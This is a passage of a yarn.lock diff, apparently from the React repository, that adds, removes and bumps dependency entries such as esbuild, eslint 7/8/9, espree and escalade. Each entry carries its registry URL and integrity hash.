+  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.114.tgz#f2bb4fda80a7db4ea273565e75b0ebbe19af0ac3"
+  integrity sha512-DFptFef3iktoKlFQK/afbo274/XNWD00Am0xa7M8FZUepHlHT8PEuiNBoRfFHbH1okqN58AlhbJ4QTkcnXorjA==
+
 electron@^23.1.2:
   version "23.1.2"
   resolved "https://registry.yarnpkg.com/electron/-/electron-23.1.2.tgz#f03e361c94f8dd2407963b5461d19aadea335316"
@@ -6931,6 +7852,11 @@ encodeurl@~1.0.2:
   resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
   integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
 
+encodeurl@~2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-2.0.0.tgz#7b8ea898077d7e409d3ac45474ea38eaf0857a58"
+  integrity sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==
+
 encoding@^0.1.11:
   version "0.1.12"
   resolved "https://registry.yarnpkg.com/encoding/-/encoding-0.1.12.tgz#538b66f3ee62cd1ab51ec323829d1f9480c74beb"
@@ -6952,13 +7878,6 @@ end-of-stream@^1.4.1:
   dependencies:
     once "^1.4.0"
 
-end-of-stream@~1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.1.0.tgz#e9353258baa9108965efc41cb0ef8ade2f3cfb07"
-  integrity sha1-6TUyWLqpEIll78QcsO+K3i88+wc=
-  dependencies:
-    once "~1.3.0"
-
 enhanced-resolve@^5.14.0:
   version "5.14.0"
   resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-5.14.0.tgz#0b6c676c8a3266c99fa281e4433a706f5c0c61c4"
@@ -6974,17 +7893,12 @@ enquirer@^2.3.5:
   dependencies:
     ansi-colors "^4.1.1"
 
-entities@^1.1.1, entities@~1.1.1:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/entities/-/entities-1.1.2.tgz#bdfa735299664dfafd34529ed4f8522a275fea56"
-  integrity sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==
-
 entities@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/entities/-/entities-2.0.0.tgz#68d6084cab1b079767540d80e56a39b423e4abf4"
   integrity sha512-D9f7V0JSRwIxlRI2mjMqufDrRDnx8p+eEOz7aUM9SuvF8gsBzra0/6tbjl1m8eQHrZlYj6PxqE00hZ1SAIKPLw==
 
-entities@^4.4.0:
+entities@^4.2.0, entities@^4.4.0:
   version "4.5.0"
   resolved "https://registry.yarnpkg.com/entities/-/entities-4.5.0.tgz#5d268ea5e7113ec74c4d033b79ea5a35a488fb48"
   integrity sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==
@@ -6999,7 +7913,7 @@ envinfo@^7.7.3:
   resolved "https://registry.yarnpkg.com/envinfo/-/envinfo-7.8.1.tgz#06377e3e5f4d379fea7ac592d5ad8927e0c4d475"
   integrity sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==
 
-error-ex@^1.2.0, error-ex@^1.3.1:
+error-ex@^1.2.0, error-ex@^1.3.1, error-ex@^1.3.2:
   version "1.3.2"
   resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
   integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
@@ -7071,6 +7985,18 @@ es-abstract@^1.17.2, es-abstract@^1.18.0-next.2, es-abstract@^1.18.2:
     string.prototype.trimstart "^1.0.4"
     unbox-primitive "^1.0.1"
 
+es-define-property@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.0.tgz#c7faefbdff8b2696cf5f46921edfb77cc4ba3845"
+  integrity sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==
+  dependencies:
+    get-intrinsic "^1.2.4"
+
+es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+
 es-module-lexer@^1.2.1:
   version "1.2.1"
   resolved "https://registry.yarnpkg.com/es-module-lexer/-/es-module-lexer-1.2.1.tgz#ba303831f63e6a394983fde2f97ad77b22324527"
@@ -7099,20 +8025,36 @@ es6-error@4.1.1, es6-error@^4.1.1:
   resolved "https://registry.yarnpkg.com/es6-error/-/es6-error-4.1.1.tgz#9e3af407459deed47e9a91f9b885a84eb05c561d"
   integrity sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==
 
-es6-promise@^2.0.1:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/es6-promise/-/es6-promise-2.3.0.tgz#96edb9f2fdb01995822b263dd8aadab6748181bc"
-  integrity sha1-lu258v2wGZWCKyY92KratnSBgbw=
-
-es6-promisify@6.0.2:
-  version "6.0.2"
-  resolved "https://registry.yarnpkg.com/es6-promisify/-/es6-promisify-6.0.2.tgz#525c23725b8510f5f1f2feb5a1fbad93a93e29b4"
-  integrity sha512-eO6vFm0JvqGzjWIQA6QVKjxpmELfhWbDUWHm1rPfIbn55mhKPiAa5xpLmQWJrNa629ZIeQ8ZvMAi13kvrjK6Mg==
-
-es6-promisify@6.1.1:
-  version "6.1.1"
-  resolved "https://registry.yarnpkg.com/es6-promisify/-/es6-promisify-6.1.1.tgz#46837651b7b06bf6fff893d03f29393668d01621"
-  integrity sha512-HBL8I3mIki5C1Cc9QjKUenHtnG0A5/xA8Q/AllRcfiwl2CZFXGK7ddBiCoRwAix4i2KxcQfjtIVcrVbB3vbmwg==
+esbuild@^0.25.0:
+  version "0.25.1"
+  resolved "https://registry.yarnpkg.com/esbuild/-/esbuild-0.25.1.tgz#a16b8d070b6ad4871935277bda6ccfe852e3fa2f"
+  integrity sha512-BGO5LtrGC7vxnqucAe/rmvKdJllfGaYWdyABvyMoXQlfYMb2bbRuReWR5tEGE//4LcNJj9XrkovTqNYRFZHAMQ==
+  optionalDependencies:
+    "@esbuild/aix-ppc64" "0.25.1"
+    "@esbuild/android-arm" "0.25.1"
+    "@esbuild/android-arm64" "0.25.1"
+    "@esbuild/android-x64" "0.25.1"
+    "@esbuild/darwin-arm64" "0.25.1"
+    "@esbuild/darwin-x64" "0.25.1"
+    "@esbuild/freebsd-arm64" "0.25.1"
+    "@esbuild/freebsd-x64" "0.25.1"
+    "@esbuild/linux-arm" "0.25.1"
+    "@esbuild/linux-arm64" "0.25.1"
+    "@esbuild/linux-ia32" "0.25.1"
+    "@esbuild/linux-loong64" "0.25.1"
+    "@esbuild/linux-mips64el" "0.25.1"
+    "@esbuild/linux-ppc64" "0.25.1"
+    "@esbuild/linux-riscv64" "0.25.1"
+    "@esbuild/linux-s390x" "0.25.1"
+    "@esbuild/linux-x64" "0.25.1"
+    "@esbuild/netbsd-arm64" "0.25.1"
+    "@esbuild/netbsd-x64" "0.25.1"
+    "@esbuild/openbsd-arm64" "0.25.1"
+    "@esbuild/openbsd-x64" "0.25.1"
+    "@esbuild/sunos-x64" "0.25.1"
+    "@esbuild/win32-arm64" "0.25.1"
+    "@esbuild/win32-ia32" "0.25.1"
+    "@esbuild/win32-x64" "0.25.1"
 
 escalade@^3.0.2:
   version "3.0.2"
@@ -7124,17 +8066,27 @@ escalade@^3.1.1, escalade@^3.1.2:
   resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.2.tgz#54076e9ab29ea5bf3d8f1ed62acffbb88272df27"
   integrity sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==
 
+escalade@^3.2.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
+  integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+
 escape-goat@^2.0.0:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/escape-goat/-/escape-goat-2.1.1.tgz#1b2dc77003676c457ec760b2dc68edb648188675"
   integrity sha512-8/uIhbG12Csjy2JEW7D9pHbreaVaS/OpN3ycnyvElTdwM5n6GY6W6e2IPemfvGZeUMqZ9A/3GqIZMgKnBhAw/Q==
 
+escape-goat@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/escape-goat/-/escape-goat-4.0.0.tgz#9424820331b510b0666b98f7873fe11ac4aa8081"
+  integrity sha512-2Sd4ShcWxbx6OY1IHyla/CVNwvg7XwZVoXZHcSu9w9SReNP1EzzD5T8NWKIR38fIqEns9kDWKUQTXXAmlDrdPg==
+
 escape-html@~1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
   integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
 
-escape-string-regexp@1.0.5, escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
+escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
   integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
@@ -7163,6 +8115,14 @@ eslint-plugin-babel@^5.3.0:
   dependencies:
     eslint-rule-composer "^0.3.0"
 
+eslint-plugin-es@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-es/-/eslint-plugin-es-4.1.0.tgz#f0822f0c18a535a97c3e714e89f88586a7641ec9"
+  integrity sha512-GILhQTnjYE2WorX5Jyi5i4dz5ALWxBIdQECVQavL6s7cI76IZTDWleTHkxz/QT3kvcs2QlGHvKLYsSlPOlPXnQ==
+  dependencies:
+    eslint-utils "^2.0.0"
+    regexpp "^3.0.0"
+
 eslint-plugin-eslint-plugin@^3.5.3:
   version "3.5.3"
   resolved "https://registry.yarnpkg.com/eslint-plugin-eslint-plugin/-/eslint-plugin-eslint-plugin-3.5.3.tgz#6cac958e944b820962a4cf9e65cc32a2e0415eaf"
@@ -7195,14 +8155,18 @@ eslint-plugin-no-function-declare-after-return@^1.0.0:
   resolved "https://registry.yarnpkg.com/eslint-plugin-no-function-declare-after-return/-/eslint-plugin-no-function-declare-after-return-1.0.0.tgz#ddf01d71d27b37ced61ccb295c6ac0708d87b209"
   integrity sha512-/w6tuSK4kYSwHSlPtf36u/rQOG8YVPgl8a0bh4rV/ElZNaUGYOquY/hp4jaCnEmPta0aTpAkFEmSi6ZTd7wCEQ==
 
-eslint-plugin-no-unsanitized@3.1.2:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/eslint-plugin-no-unsanitized/-/eslint-plugin-no-unsanitized-3.1.2.tgz#a54724e0b81d43279bb1f8f5e1d82c97da78c858"
-  integrity sha512-KPShfliA3Uy9qqwQx35P1fwIOeJjZkb0FbMMUFztRYRposzaynsM8JCEb952fqkidROl1kpqY80uSvn+TcWkQQ==
+eslint-plugin-no-unsanitized@4.0.2:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-no-unsanitized/-/eslint-plugin-no-unsanitized-4.0.2.tgz#e872b302cdfb5fe1262db989ba29cfcc334b499b"
+  integrity sha512-Pry0S9YmHoz8NCEMRQh7N0Yexh2MYCNPIlrV52hTmS7qXnTghWsjXouF08bgsrrZqaW9tt1ZiK3j5NEmPE+EjQ==
+
+"eslint-plugin-react-hooks-published@npm:eslint-plugin-react-hooks@^5.2.0":
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz#1be0080901e6ac31ce7971beed3d3ec0a423d9e3"
+  integrity sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==
 
 "eslint-plugin-react-internal@link:./scripts/eslint-rules":
   version "0.0.0"
-  uid ""
 
 eslint-plugin-react@^6.7.1:
   version "6.10.3"
@@ -7244,13 +8208,13 @@ eslint-scope@5.1.1, eslint-scope@^5.1.1:
     esrecurse "^4.3.0"
     estraverse "^4.1.1"
 
-eslint-scope@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-4.0.3.tgz#ca03833310f6889a3264781aa82e63eb9cfe7848"
-  integrity sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==
+eslint-scope@^7.2.2:
+  version "7.2.2"
+  resolved "https://registry.yarnpkg.com/eslint-scope/-/eslint-scope-7.2.2.tgz#deb4f92563390f32006894af62a22dba1c46423f"
+  integrity sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==
   dependencies:
-    esrecurse "^4.1.0"
-    estraverse "^4.1.1"
+    esrecurse "^4.3.0"
+    estraverse "^5.2.0"
 
 eslint-scope@^8.0.1:
   version "8.0.1"
@@ -7260,13 +8224,6 @@ eslint-scope@^8.0.1:
     esrecurse "^4.3.0"
     estraverse "^5.2.0"
 
-eslint-utils@^1.3.1:
-  version "1.4.3"
-  resolved "https://registry.yarnpkg.com/eslint-utils/-/eslint-utils-1.4.3.tgz#74fec7c54d0776b6f67e0251040b5806564e981f"
-  integrity sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==
-  dependencies:
-    eslint-visitor-keys "^1.1.0"
-
 eslint-utils@^2.0.0, eslint-utils@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/eslint-utils/-/eslint-utils-2.1.0.tgz#d2de5e03424e707dc10c74068ddedae708741b27"
@@ -7274,7 +8231,7 @@ eslint-utils@^2.0.0, eslint-utils@^2.1.0:
   dependencies:
     eslint-visitor-keys "^1.1.0"
 
-"eslint-v7@npm:eslint@^7.7.0", eslint@^7.7.0:
+"eslint-v7@npm:eslint@^7.7.0":
   version "7.32.0"
   resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.32.0.tgz#c6d328a14be3fb08c8d1d21e12c02fdb7a2a812d"
   integrity sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==
@@ -7320,6 +8277,50 @@ eslint-utils@^2.0.0, eslint-utils@^2.1.0:
     text-table "^0.2.0"
     v8-compile-cache "^2.0.3"
 
+"eslint-v8@npm:eslint@^8.57.1":
+  version "8.57.1"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-8.57.1.tgz#7df109654aba7e3bbe5c8eae533c5e461d3c6ca9"
+  integrity sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.2.0"
+    "@eslint-community/regexpp" "^4.6.1"
+    "@eslint/eslintrc" "^2.1.4"
+    "@eslint/js" "8.57.1"
+    "@humanwhocodes/config-array" "^0.13.0"
+    "@humanwhocodes/module-importer" "^1.0.1"
+    "@nodelib/fs.walk" "^1.2.8"
+    "@ungap/structured-clone" "^1.2.0"
+    ajv "^6.12.4"
+    chalk "^4.0.0"
+    cross-spawn "^7.0.2"
+    debug "^4.3.2"
+    doctrine "^3.0.0"
+    escape-string-regexp "^4.0.0"
+    eslint-scope "^7.2.2"
+    eslint-visitor-keys "^3.4.3"
+    espree "^9.6.1"
+    esquery "^1.4.2"
+    esutils "^2.0.2"
+    fast-deep-equal "^3.1.3"
+    file-entry-cache "^6.0.1"
+    find-up "^5.0.0"
+    glob-parent "^6.0.2"
+    globals "^13.19.0"
+    graphemer "^1.4.0"
+    ignore "^5.2.0"
+    imurmurhash "^0.1.4"
+    is-glob "^4.0.0"
+    is-path-inside "^3.0.3"
+    js-yaml "^4.1.0"
+    json-stable-stringify-without-jsonify "^1.0.1"
+    levn "^0.4.1"
+    lodash.merge "^4.6.2"
+    minimatch "^3.1.2"
+    natural-compare "^1.4.0"
+    optionator "^0.9.3"
+    strip-ansi "^6.0.1"
+    text-table "^0.2.0"
+
 "eslint-v9@npm:eslint@^9.0.0":
   version "9.0.0"
   resolved "https://registry.yarnpkg.com/eslint/-/eslint-9.0.0.tgz#6270548758e390343f78c8afd030566d86927d40"
@@ -7360,10 +8361,10 @@ eslint-utils@^2.0.0, eslint-utils@^2.1.0:
     strip-ansi "^6.0.1"
     text-table "^0.2.0"
 
-eslint-visitor-keys@1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-1.2.0.tgz#74415ac884874495f78ec2a97349525344c981fa"
-  integrity sha512-WFb4ihckKil6hu3Dp798xdzSfddwKKU3+nGniKF6HfeW6OLd2OUDEPP7TcHtB5+QXOKg2s6B2DaMPE1Nn/kxKQ==
+eslint-visitor-keys@4.0.0, eslint-visitor-keys@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-4.0.0.tgz#e3adc021aa038a2a8e0b2f8b0ce8f66b9483b1fb"
+  integrity sha512-OtIRv/2GyiF6o/d8K7MYKKbXrOUBIK6SfkIRM4Z0dY3w+LiQ0vy3F57m0Z71bjbyeiWFiHJ8brqnmE6H6/jEuw==
 
 eslint-visitor-keys@^1.0.0:
   version "1.1.0"
@@ -7380,73 +8381,102 @@ eslint-visitor-keys@^2.0.0:
   resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.0.0.tgz#21fdc8fbcd9c795cc0321f0563702095751511a8"
   integrity sha512-QudtT6av5WXels9WjIM7qz1XD1cWGvX4gGXvp/zBn9nXG02D0utdU3Em2m/QjTnrsk6bBjmCygl3rmj118msQQ==
 
-eslint-visitor-keys@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.0.0.tgz#e32e99c6cdc2eb063f204eda5db67bfe58bb4186"
-  integrity sha512-mJOZa35trBTb3IyRmo8xmKBZlxf+N7OnUl4+ZhJHs/r+0770Wh/LEACE2pqMGMe27G/4y8P2bYGk4J70IC5k1Q==
-
-eslint-visitor-keys@^3.3.0, eslint-visitor-keys@^3.4.1:
+eslint-visitor-keys@^3.3.0, eslint-visitor-keys@^3.4.1, eslint-visitor-keys@^3.4.3:
   version "3.4.3"
   resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz#0cd72fe8550e3c2eae156a96a4dddcd1c8ac5800"
   integrity sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==
 
-eslint-visitor-keys@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-4.0.0.tgz#e3adc021aa038a2a8e0b2f8b0ce8f66b9483b1fb"
-  integrity sha512-OtIRv/2GyiF6o/d8K7MYKKbXrOUBIK6SfkIRM4Z0dY3w+LiQ0vy3F57m0Z71bjbyeiWFiHJ8brqnmE6H6/jEuw==
+eslint@8.57.0:
+  version "8.57.0"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-8.57.0.tgz#c786a6fd0e0b68941aaf624596fb987089195668"
+  integrity sha512-dZ6+mexnaTIbSBZWgou51U6OmzIhYM2VcNdtiTtI7qPNZm35Akpr0f6vtw3w1Kmn5PYo+tZVfh13WrhpS6oLqQ==
+  dependencies:
+    "@eslint-community/eslint-utils" "^4.2.0"
+    "@eslint-community/regexpp" "^4.6.1"
+    "@eslint/eslintrc" "^2.1.4"
+    "@eslint/js" "8.57.0"
+    "@humanwhocodes/config-array" "^0.11.14"
+    "@humanwhocodes/module-importer" "^1.0.1"
+    "@nodelib/fs.walk" "^1.2.8"
+    "@ungap/structured-clone" "^1.2.0"
+    ajv "^6.12.4"
+    chalk "^4.0.0"
+    cross-spawn "^7.0.2"
+    debug "^4.3.2"
+    doctrine "^3.0.0"
+    escape-string-regexp "^4.0.0"
+    eslint-scope "^7.2.2"
+    eslint-visitor-keys "^3.4.3"
+    espree "^9.6.1"
+    esquery "^1.4.2"
+    esutils "^2.0.2"
+    fast-deep-equal "^3.1.3"
+    file-entry-cache "^6.0.1"
+    find-up "^5.0.0"
+    glob-parent "^6.0.2"
+    globals "^13.19.0"
+    graphemer "^1.4.0"
+    ignore "^5.2.0"
+    imurmurhash "^0.1.4"
+    is-glob "^4.0.0"
+    is-path-inside "^3.0.3"
+    js-yaml "^4.1.0"
+    json-stable-stringify-without-jsonify "^1.0.1"
+    levn "^0.4.1"
+    lodash.merge "^4.6.2"
+    minimatch "^3.1.2"
+    natural-compare "^1.4.0"
+    optionator "^0.9.3"
+    strip-ansi "^6.0.1"
+    text-table "^0.2.0"
 
-eslint@5.16.0:
-  version "5.16.0"
-  resolved "https://registry.yarnpkg.com/eslint/-/eslint-5.16.0.tgz#a1e3ac1aae4a3fbd8296fcf8f7ab7314cbb6abea"
-  integrity sha512-S3Rz11i7c8AA5JPv7xAH+dOyq/Cu/VXHiHXBPOU1k/JAM5dXqQPt3qcrhpHSorXmrpu2g0gkIBVXAqCpzfoZIg==
+eslint@^7.7.0:
+  version "7.32.0"
+  resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.32.0.tgz#c6d328a14be3fb08c8d1d21e12c02fdb7a2a812d"
+  integrity sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==
   dependencies:
-    "@babel/code-frame" "^7.0.0"
-    ajv "^6.9.1"
-    chalk "^2.1.0"
-    cross-spawn "^6.0.5"
+    "@babel/code-frame" "7.12.11"
+    "@eslint/eslintrc" "^0.4.3"
+    "@humanwhocodes/config-array" "^0.5.0"
+    ajv "^6.10.0"
+    chalk "^4.0.0"
+    cross-spawn "^7.0.2"
     debug "^4.0.1"
     doctrine "^3.0.0"
-    eslint-scope "^4.0.3"
-    eslint-utils "^1.3.1"
-    eslint-visitor-keys "^1.0.0"
-    espree "^5.0.1"
-    esquery "^1.0.1"
+    enquirer "^2.3.5"
+    escape-string-regexp "^4.0.0"
+    eslint-scope "^5.1.1"
+    eslint-utils "^2.1.0"
+    eslint-visitor-keys "^2.0.0"
+    espree "^7.3.1"
+    esquery "^1.4.0"
     esutils "^2.0.2"
-    file-entry-cache "^5.0.1"
+    fast-deep-equal "^3.1.3"
+    file-entry-cache "^6.0.1"
     functional-red-black-tree "^1.0.1"
-    glob "^7.1.2"
-    globals "^11.7.0"
+    glob-parent "^5.1.2"
+    globals "^13.6.0"
     ignore "^4.0.6"
     import-fresh "^3.0.0"
     imurmurhash "^0.1.4"
-    inquirer "^6.2.2"
-    js-yaml "^3.13.0"
+    is-glob "^4.0.0"
+    js-yaml "^3.13.1"
     json-stable-stringify-without-jsonify "^1.0.1"
-    levn "^0.3.0"
-    lodash "^4.17.11"
+    levn "^0.4.1"
+    lodash.merge "^4.6.2"
     minimatch "^3.0.4"
-    mkdirp "^0.5.1"
     natural-compare "^1.4.0"
-    optionator "^0.8.2"
-    path-is-inside "^1.0.2"
+    optionator "^0.9.1"
     progress "^2.0.0"
-    regexpp "^2.0.1"
-    semver "^5.5.1"
-    strip-ansi "^4.0.0"
-    strip-json-comments "^2.0.1"
-    table "^5.2.3"
+    regexpp "^3.1.0"
+    semver "^7.2.1"
+    strip-ansi "^6.0.0"
+    strip-json-comments "^3.1.0"
+    table "^6.0.9"
     text-table "^0.2.0"
+    v8-compile-cache "^2.0.3"
 
-espree@6.2.1:
-  version "6.2.1"
-  resolved "https://registry.yarnpkg.com/espree/-/espree-6.2.1.tgz#77fc72e1fd744a2052c20f38a5b575832e82734a"
-  integrity sha512-ysCxRQY3WaXJz9tdbWOwuWr5Y/XrPTGX9Kiz3yoUXwW0VZ4w30HTkQLaGx/+ttFjF8i+ACbArnB4ce68a9m5hw==
-  dependencies:
-    acorn "^7.1.1"
-    acorn-jsx "^5.2.0"
-    eslint-visitor-keys "^1.1.0"
-
-espree@^10.0.1:
+espree@10.0.1, espree@^10.0.1:
   version "10.0.1"
   resolved "https://registry.yarnpkg.com/espree/-/espree-10.0.1.tgz#600e60404157412751ba4a6f3a2ee1a42433139f"
   integrity sha512-MWkrWZbJsL2UwnjxTX3gG8FneachS/Mwg7tdGXce011sJd5b0JG54vat5KHnfSBODZ3Wvzd2WnjxyzsRoVv+ww==
@@ -7455,15 +8485,6 @@ espree@^10.0.1:
     acorn-jsx "^5.3.2"
     eslint-visitor-keys "^4.0.0"
 
-espree@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/espree/-/espree-5.0.1.tgz#5d6526fa4fc7f0788a5cf75b15f30323e2f81f7a"
-  integrity sha512-qWAZcWh4XE/RwzLJejfcofscgMc9CamR6Tn1+XRXNzrvUSSbiAjGOI/fggztjIi7y9VLPqnICMIPiGyr8JaZ0A==
-  dependencies:
-    acorn "^6.0.7"
-    acorn-jsx "^5.0.0"
-    eslint-visitor-keys "^1.0.0"
-
 espree@^7.3.0, espree@^7.3.1:
   version "7.3.1"
   resolved "https://registry.yarnpkg.com/espree/-/espree-7.3.1.tgz#f2df330b752c6f55019f8bd89b7660039c1bbbb6"
@@ -7473,18 +8494,20 @@ espree@^7.3.0, espree@^7.3.1:
     acorn-jsx "^5.3.1"
     eslint-visitor-keys "^1.3.0"
 
+espree@^9.6.0, espree@^9.6.1:
+  version "9.6.1"
+  resolved "https://registry.yarnpkg.com/espree/-/espree-9.6.1.tgz#a2a17b8e434690a5432f2f8018ce71d331a48c6f"
+  integrity sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==
+  dependencies:
+    acorn "^8.9.0"
+    acorn-jsx "^5.3.2"
+    eslint-visitor-keys "^3.4.1"
+
 esprima@4.0.1, esprima@^4.0.0:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
   integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
 
-esquery@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.0.1.tgz#406c51658b1f5991a5f9b62b1dc25b00e3e5c708"
-  integrity sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==
-  dependencies:
-    estraverse "^4.0.0"
-
 esquery@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.4.0.tgz#2148ffc38b82e8c7057dfed48425b3e61f0f24a5"
@@ -7513,11 +8536,6 @@ esrecurse@^4.3.0:
   dependencies:
     estraverse "^5.2.0"
 
-estraverse@^4.0.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.2.0.tgz#0dee3fed31fcd469618ce7342099fc1afa0bdb13"
-  integrity sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=
-
 estraverse@^4.1.0, estraverse@^4.1.1:
   version "4.3.0"
   resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d"
@@ -7548,10 +8566,10 @@ etag@~1.8.1:
   resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
   integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
